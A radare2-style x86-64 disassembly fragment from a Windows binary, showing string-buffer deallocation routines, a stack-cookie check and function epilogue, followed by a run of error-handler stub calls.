call fcn.1400a9a50
mov qword [rbp + 0x160], r12
mov qword [rbp + 0x168], 0xf
mov byte [rbp + 0x150], 0
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 7
jbe 0x140038d32
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038d2d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038f84
call fcn.1400a9a50
movdqa xmm0, xmmword [0x140112f70]
movdqu xmmword [rbp + 0x1c0], xmm0
mov word [rbp + 0x1b0], r12w
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x140038d8b
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038d86
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038f8a
call fcn.1400a9a50
movdqa xmm0, xmmword [0x140112f80]
movdqu xmmword [rbp + 0x1e0], xmm0
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rbp + 0x188]
cmp rdx, 7
jbe 0x140038df0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038de3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038f90
call fcn.1400a9a50
movdqa xmm0, xmmword [0x140112f80]
mov qword [rbp + 0x180], r12
mov qword [rbp + 0x188], 7
mov word [rbp + 0x170], r12w
mov rdx, qword [rbp + 0x208]
cmp rdx, 0xf
jbe 0x140038e53
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038e46
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038f96
call fcn.1400a9a50
movdqa xmm0, xmmword [0x140112f80]
movdqu xmmword [rbp + 0x200], xmm0
mov byte [rbp + 0x1f0], 0
mov rdx, qword [rbp + 0x228]
cmp rdx, 0xf
jbe 0x140038eab
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038e9e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038f9c
call fcn.1400a9a50
movdqa xmm0, xmmword [0x140112f80]
movdqu xmmword [rbp + 0x220], xmm0
mov byte [rbp + 0x210], 0
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x140038eff
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038ef2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038f3e
call fcn.1400a9a50
movdqa xmm0, xmmword [0x140112f80]
movdqu xmmword [rbp + 0x1a0], xmm0
mov byte [rbp + 0x190], 0
mov rcx, qword [rbp + 0x320]
xor rcx, rsp
call fcn.1400a9a30
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14008d658
nop
mov r8, rdi
lea rcx, str.status
call fcn.14002dde0
nop
call fcn.14008d658
nop
call fcn.14008d658
nop
call fcn.14008d658
nop
call fcn.14008d658
int3
call fcn.14008d658
nop
call fcn.14008d658
nop
call fcn.14008d658
nop
call fcn.14008d658
nop
call fcn.14008d658
nop
call fcn.14008d658
nop
call fcn.14008d658
nop
call fcn.14008d658
nop
call fcn.14008d658
int3